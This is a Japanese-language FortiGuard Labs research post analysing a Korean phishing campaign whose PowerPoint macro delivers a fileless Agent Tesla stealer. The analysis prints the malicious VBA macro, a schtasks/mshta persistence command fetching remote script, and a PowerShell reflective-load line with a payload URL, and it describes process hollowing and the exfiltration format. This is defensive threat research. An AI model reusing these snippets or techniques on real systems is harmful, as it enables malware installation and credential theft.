FortiGuard Labs 脅威リサーチ
FortiGuard Labs Threat Research Report
影響を受けるプラットフォーム: Microsoft Windows
影響を受ける対象: Windowsユーザー
影響: 被害者のデバイスから機密情報が収集される
深刻度: クリティカル
フォーティネットのFortiGuard Labsは最近、不正なMicrosoft PowerPointファイルを配信するフィッシングキャンペーンを確認しました。このフィッシングメールは韓国語で書かれており、添付されたPowerPointファイルを開いて購入注文書を確認するように受信者に求めてきます。この不正なPowerPointファイルを開くと何が起こるのかを調べたところ、このファイルによってAgent Teslaの新しい亜種が拡散されることを確認できました。
過去数年にわたって、FortiGuard Labsは多くのAgent Tesla亜種を分析してきました。Agent Teslaは、最初に確認された2014年以降、非常に活発に活動し続けています。Agent Teslaは.Netベースのマルウェアであり(C#.Net、VB.Net、C++.Netなどで開発されています)、その中核機能は被害者のマシンから機密情報を収集することです。たとえば、キーストロークやシステムクリップボード上のデータを記録したり、保存されたソフトウェア認証情報(ブラウザ、メールクライアント、VPN、FTP、IMなど)やブラウザのCookieファイルを盗んだり、スクリーンショットを撮影したりします。
このブログでは、このフィッシングメールの内容を確認して、添付ファイルに含まれている不正なマクロを分析して、このマルウェアがどのように更新されて長期間にわたって活動し続けるのかを示して、Agent Teslaペイロードを調べて、このペイロードによって盗まれたデータや認証情報が外部に持ち出される方法を説明します。
まず、ほとんどのサイバー攻撃の始まりとなるフィッシングメールを見てみましょう。
このフィッシングメールは韓国語で書かれており、図1.1の右側にはその翻訳内容を示しています。攻撃者は、購入注文書を確認するために受信者に添付ファイルを開かせようとします。フォーティネットのFortiMailはこのフィッシングメールをスパムと判定して、受信者に警告するために「[SPAM detected by FortiMail]」というタグを件名に追加しました(図1.1を参照)。
おそらくご推測のとおり、この添付ファイルは偽装されたものです。このPowerPointファイルにはスライドは含まれておらず、代わりに、「Auto_Open()」という名前の自動実行される関数メソッドが含まれたマクロが埋め込まれています。このファイルがMicrosoft PowerPointで開かれると、この関数が呼び出されます。
このメソッドのVBAコードを以下に示します。
Sub Auto_Open()
p_ = soraj.bear.GroupName
Shell p_
End Sub
「soraj」はユーザーフォームの名前であり、「bear」は、「soraj」フォーム内のチェックボックスコントロールの名前です。このコードでは「Shell」が呼び出されて、「bear」というチェックボックスコントロールの「GroupName」プロパティから読み取られたコマンドが実行されます。
このコード内で、「soraj」はユーザーフォームの名前であり、「bear」は、「soraj」フォーム内のチェックボックスコントロールの名前です。このコードでは「Shell」が呼び出されて、「bear」というチェックボックスコントロールの「GroupName」プロパティから読み取られたコマンドが実行されます。
さらに、「mshta hxxp[:]//bitly[.]com/gdhamksgdsadj」は、図2に示している「soraj.bear.GroupName」の値であるとともに、このVBAプロジェクトのバイナリプロファイルファイル(「o」という名前)の内容です。
これは「mshta」とURLで構成されています。この「mshta」(「mshta.exe」)は、VBScriptなどのスクリプトを含むHTMLアプリケーションファイルを実行するWindowsデフォルトプログラムです。「mshta」によって開かれるURLは、別のURL(hxxps[:]//onedayiwillloveyouforever[.]blogspot.com/p/divine111.html)にリダイレクトされます。「mshta.exe」によって実行されるエスケープされたVBScriptコードを現在のHTMLドキュメントに書き込むために使用されるコードが、この別のURLに含まれています。
図2.2はプロキシツールのスクリーンショットであり、このツールを使用すると、応答パケット内のエスケープされたVBScriptコードとURLのリダイレクションを表示できます。
エスケープされたVBScriptコードは、「mshat.exe」を使用して現在のHTMLドキュメント内で実行されます。この分析では、このようなVBScriptを「HTMLに埋め込まれたVBScript」と呼ぶことにします。「HTMLに埋め込まれたVBScript」のエスケープされていないコード全体を表示するには、こちらをクリックしてください。
Agent Teslaの開発者は、Agent Teslaの配信プロセス時にさまざまなスクリプトを使用することで、Agent Teslaが簡単に分析されないようにしています。これらのスクリプトとしては、「HTMLに埋め込まれたVBScript」、スタンドアロン型VBScript、PowerShellなどが挙げられます。
これらのスクリプトは多くのファイルに分割されて、別々のタイミングでダウンロードされます。「HTMLに埋め込まれたVBScript」は、これらのスクリプトの入口の役割を果たします。次のセクションでは、これらのスクリプトがそれぞれの動作に従って実行できることを説明します。
1. アップグレード:タスクスケジューラー
このマルウェアは、被害者のシステム上で実行される新しいバージョン(該当する場合)を2時間ごとに取得しようとします。このために、「HTMLに埋め込まれたVBScript」はコマンドラインコマンドを実行して、反復タスクをタスクスケジューラーに追加します。次のコードスニペットは、「/create」オプション付きで「schtasks」コマンドを実行して新しい予約タスクを作成するために使用されます(図3.1を参照)。
args = "/create /sc MINUTE /mo 120 /tn """"update-Yendex """" /F /tr """"\""""MsHtA""""\""""hxxps://madarbloghogya.blogspot.com/p/divineback222.html""""
Set Somosa = GetObject("new:13709620-C279-11CE-A49E-444553540000")
'schtasks 'open
Somosa Shellexecute StrReverse("sksathcs"), args, "", StrReverse("nepo"), 0
このタスクは、リモートHTMLファイル内のVBScriptコードを実行してから、被害者のシステムで実行するAgent Teslaペイロードをダウンロードします。さらにこのタスクは、すでに実行されている他のAgent Teslaプロセスインスタンスを検知して強制終了します。この結果として、このタスクは独自のアップグレード機能を実行できるようになります。
2. マルウェア活動の永続化:スタートメニューのStartupフォルダ
「HTMLに埋め込まれたVBScript」から抽出されたスタンドアロン型VBSファイルである「%Public%\hulalalMCROSOFT.vbs」は、「hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/5X7My8/b271c1b3c7a78e7b68fa388ed463c7cc1dc32ddb/files/divine1-2」というURLから、別のbase64エンコード済みVBSファイルをローカルファイル内にダウンロードします。このファイルは、base64デコード済みコードを通じて、VBSコードを%Public%フォルダにある「UYA-update.vbs」というファイルに保存します。
このスタンドアロン型VBSファイルはAgent Teslaペイロードをダウンロードして、被害者のシステムに組み込みます。その結果として、このVBSファイルが実行されるたびに、Agent Teslaが開始されるようになります。
被害者のシステム上でAgent Teslaの活動を継続させるために、ダウンロードされたスタンドアロン型VBSファイル「UYA-update.vbs」がスタートメニューのStartupフォルダにコピーされて、「GTQ.vbs」という名前に変更されます。これにより、システムの始動時にAgent Teslaが自動的に開始されるようになります。図3.2は、Startupフォルダにコピーされた「GTQ.vbs」を示しています。
3. プロセスハロウイングの実行
「UYA-update.vbs」は、ローカル変数からbase64デコード済みPEファイル内でPowerShellコードを引き続き作成します。このコードは最終的に「PowerShell.exe」によって実行されます。このデコード済みPEファイルは、「ClassLibrary3.Class1」クラスに属する「Run()」という関数が含まれた.Netプログラムです。この関数を呼び出すために使用されるPowerShellコードを以下に示しています。
[System.AppDomain]::CurrentDomain.Load($fuUN).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('1-1enivid/selif/c4ab4d371cd40ce3303b4d33c868122f671fd37c/do8qxn/aygoh/steppins/0.2/ipa!/gro.tekcubtib//:sptth'))
「$fuUN」変数には、base64デコード済みの.Net PEファイルが含まれており、このファイルからGetType()とGetMethod()が呼び出されて、「ClassLibrary3.Class1.Run()」という関数が取得されます。次に、Invoke()を通じて「Run()」関数が呼び出されて、リバースされたURLが含まれたパラメータが渡されます。このURLは、「hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/nxq8od/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine1-1」です。図3.3は、「ClassLibrary3.Class1.Run()」関数のコード全体を示しています。
デコード済みPEの「ClassLibrary3.Class1.Run()」が正常に呼び出された後に、次のハイパーリンクから2つのファイルがダウンロードされます。1つ目は「hxxp[:]//149.56.200.165/rump/1.txt」であり、これはプロセスハロウイング(process-hollowing)を実行するための別の.Netモジュール向けです。2つ目は、PowerShellから渡される「hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/nxq8od/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine1-1」であり、ここからAgent Teslaペイロードがダウンロードされます。
Agent Teslaペイロードは、被害者のシステム上ではファイルレスです。このペイロードは、PowerShellプロセスのメモリ内に保持されるだけです。ダウンロードされた.Netモジュールには、プロセスハロウイングを実行する「ClassLibrary1.Class1.Run()」という関数が含まれています。このモジュールは、Agent Teslaペイロードをメモリに格納して、「RegAsm.exe」というターゲットプロセスのパスを追加します。
「RegAsm.exe」は、Microsoft .Net Frameworkの公式コンポーネントです。攻撃者は、このコンポーネントをマルウェアの注入先となるターゲットプロセスとして使用することで、マルウェアが検知されることを防ぎます。
上記の.Netモジュール内でいくつかのWindows API関数が呼び出されて、Agent Teslaペイロードがターゲットプロセス内に組み込まれます。これらの関数は次のとおりです。
完了したら、Agent TeslaはRegAsm.exeの代わりに動作して、被害者の情報を盗み取ります。
Agent Teslaが備えている多くの機能としては、キーロガー、クリップボードデータの取得、ブラウザのCookieや保存されたソフトウェア認証情報の窃取、被害者デバイスのスクリーンショットの撮影などが挙げられます。
Agent Teslaが発行するSetupプログラムを使用することで、攻撃者は有効化する機能を選択できます。Agent TeslaのSetupプログラムは、それらの選択内容に従ってAgent Teslaのペイロードファイルをコンパイルします。
Agent Teslaは、Main()関数(認証情報の窃取)、Timer関数(キーロガー、クリップボードデータの窃取、スクリーンショットの撮影)、Thread関数(ブラウザCookieの窃取)内でこれらのタスクを開始します。
このAgent Tesla亜種では、攻撃者は認証情報とCookieの窃取のみを有効化しています。この亜種は70以上のソフトウェアクライアントから認証情報を窃取します。これらのソフトウェアクライアントとしては、Webブラウザ、Eメールクライアント、IMクライアント、VPN / FTP / ダウンローダー / データベースクライアント、Windows Credentialsなどが挙げられます。
被害を受けたソフトウェアクライアントを以下に列挙しています。
ChromiumベースのWebブラウザ:
Epic Privacy、Uran、Chedot、Comodo Dragon、Chromium、Orbitum、Cool Novo、Sputnik、Coowon、Brave、Liebao Browser、Elements Browser、Sleipnir 6、Vivaldi、360 Browser、Torch Browser、Yandex Browser、QIP Surf、Amigo、Kometa、Citrio、Opera Browser、CentBrowser、7Star、Coccoc、Iridium Browser
Webブラウザ:
Chrome、Microsoft Edge、Firefox、Safari、IceCat、Waterfox、Tencent QQBrowser、Flock Browser、SeaMonkey、IceDragon、Falkon、UCBrowser、Cyberfox、K-Meleon、PaleMoon
VPNクライアント:
OpenVPN、NordVPN、RealVNC、TightVNC、UltraVNC、Private Internet Access VPN
FTPクライアント:
FileZilla、Cftp、WS_FTP、FTP Navigator、FlashFXP、SmartFTP、WinSCP 2、CoreFTP、FTPGetter
Eメールクライアント:
Outlook、Postbox、Thunderbird、Mailbird、eM Client、Claws-mail、Opera Mail、Foxmail、Qualcomm Eudora、IncrediMail、Pocomail、Becky!、Internet Mail、The Bat!
ダウンローダー / IMクライアント:
DownloadManager、jDownloader、Psi+、Trillian
その他:
MySQLとMicrosoft Credentials
図4.1は、いくつかのクライアントから認証情報を盗むために使用されたメソッドを示しています。
図4.2は、「IceCat」というWebブラウザから盗まれた認証情報を示しています。この図で、「Browser」はソフトウェアクライアント名、「Password」は保存されたパスワード、「URL」はログインページ、「UserName」は保存されたログインユーザー名です。
それぞれの盗まれた認証情報は上記の構造を持っており、グローバルリスト変数に保存されています。このグローバルリスト変数は後でフォーマット処理されて攻撃者に送信されます。
盗まれたデータが攻撃者に送信される方法は4つあります。これらの方法は、FTPデータ、HTTP POST、SMTP、Telegramです。FTPデータの場合は、盗まれたデータがファイルに格納されて攻撃者が用意したFTPサーバーにアップロードされます。HTTP POSTの場合は、盗まれたデータがポストのボディに埋め込まれて攻撃者が用意したURLに送信されます。SMTPの場合は、盗まれたデータが攻撃者のEメールアドレスに送信されます。Telegramの場合は、「sendDocument()」というTelegramボットAPIを使用して、盗まれたデータが含まれたファイルが指定されたチャットまたはチャネルに送信されます。
この亜種では、攻撃者はHTTP POSTを選択しました。Agent Teslaは、盗んだデータを攻撃者に送信する必要が生じると、それらのデータをDESアルゴリズムで暗号化して、暗号化したデータをbase64アルゴリズムでエンコードします。これが最終データとしてHTTP POSTリクエストのボディに埋め込まれて送信されます。送信先URLは「hxxp[:]//69[.]174.99[.]181/webpanel-divine/mawa/7dd66d9f8e1cf61ae198.php」であり、これはAgent Tesla内にハードコードされたストリングです。
図5.1は、Agent Teslaが盗んだデータをHTTP POSTのボディ内の「p=」の値として送信する様子を示しています。
暗号化前の窃取データの各項目は、「ヘッダー」+「データ」という構造で保持されます。
「パケット番号」+「区切り文字列」+「被害者ID」+「区切り文字列」+「日時」+「区切り文字列」+「ユーザー名 / コンピュータ名」+「区切り文字列」
図5.2は、パケット番号「6」のデータの例を示しています。ここには、基本情報(「ヘッダー」部分)と盗まれたデータ(「データ」部分)(base64エンコード済みCookie)が含まれています。「0de264895c1ed90486c73c6eb110af6c2222264a0854b0047b9ead88b718f7d0」は、Agent Tesla内にハードコードされた区切り文字列です。被害者IDは、対象システムのハードウェア情報から生成されたMD5ハッシュ値です。
Agent Teslaは、7種類のパケットを使用してデータ / ステータスを攻撃者に送信します。各パケットには、そのパケットを識別するためのパケット番号が割り当てられています。これらの番号は0、1、2、3、4、5、6です。
この分析では、このフィッシング攻撃がどのようにしてまず韓国人ユーザーを標的にしたのかを示しました。
次に、PowerPoint内のマクロを使用して「HTMLに埋め込まれたVBScript」のコードが実行される方法を説明しました。このマクロは、複雑なスタンドアロン型VBSとPowerShellスクリプトのコードを利用して、アップグレード、マルウェア活動の永続化、プロセスハロウイングなどの複数のタスクも実行します。
次に、Agent Teslaの標的となるソフトウェアクライアントの種類と、Agent Teslaがこれらのソフトウェアクライアントから収集できるデータの種類を述べて、盗まれたデータがHTTP POSTメソッドを通じて攻撃者に送信される方法を説明しました。
フォーティネットのお客様は、FortiGuardのWebフィルタリング、アンチウイルス、FortiEDR、CDR(コンテンツ無害化)によってこのマルウェアからすでに保護されています。
PowerPointサンプル内の不正なマクロは、FortiGuard CDR(コンテンツ無害化)サービスによって無害化できます。
すべての関連URLは、FortiGuard Webフィルタリングサービスによって「不正なWebサイト」として指定されています。
フィッシングメールに添付されたPowerPointサンプルおよびスタンドアロン型VBSファイルは、「VBA/Agent.BLY!tr」および「VBS/AgentTesla.VTO!tr.dldr」として検知されて、FortiGuardアンチウイルスサービスによってブロックされます。
FortiEDRは、ダウンロードされた実行可能ファイルをその振る舞いに基づいて不正なものとして検知します。
FortiMailは、フィッシングメールをブロックして、FortiGuardのWebフィルタリング / アンチウイルス / CDR(コンテンツ無害化)テクノロジーを適用することで、フォーティネットのお客様を保護します。
これらのソリューションに加えて、組織はエンドユーザーに、無料のNSEトレーニング:NSE 1 – Information Security Awarenessを受講させることをお勧めします。このトレーニングに含まれているインターネット上の脅威に関するモジュールでは、エンドユーザーがフィッシング攻撃を見抜いて自らを守る方法を学ぶことができます。
この攻撃に関連しているURL:
"hxxps[:]//onedayiwillloveyouforever[.]blogspot[.]com/p/divine111.html"
"hxxps[:]//madarbloghogya[.]blogspot[.]com/p/divineback222.html"
"hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/5X7My8/b271c1b3c7a78e7b68fa388ed463c7cc1dc32ddb/files/divine1-2"
"hxxp[:]//149[.]56.200[.]165/rump/1.txt"
"hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/nxq8od/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine1-1"
"hxxp[:]//69[.]174.99[.]181/webpanel-divine/mawa/7dd66d9f8e1cf61ae198.php"
この攻撃に関連しているサンプルSHA-256:
[새 구매 주문서 .ppa / new purchase order.ppa]
AA121762EB34D32C7D831D7ABCEC34F5A4241AF9E669E5CC43A49A071BD6E894
[UYA-update.vbs / GTQ.vbs]
0BBF16E320FB942E4EA09BB9E953076A4620F59E5FFAEFC3A2FFE8B8C2B3389C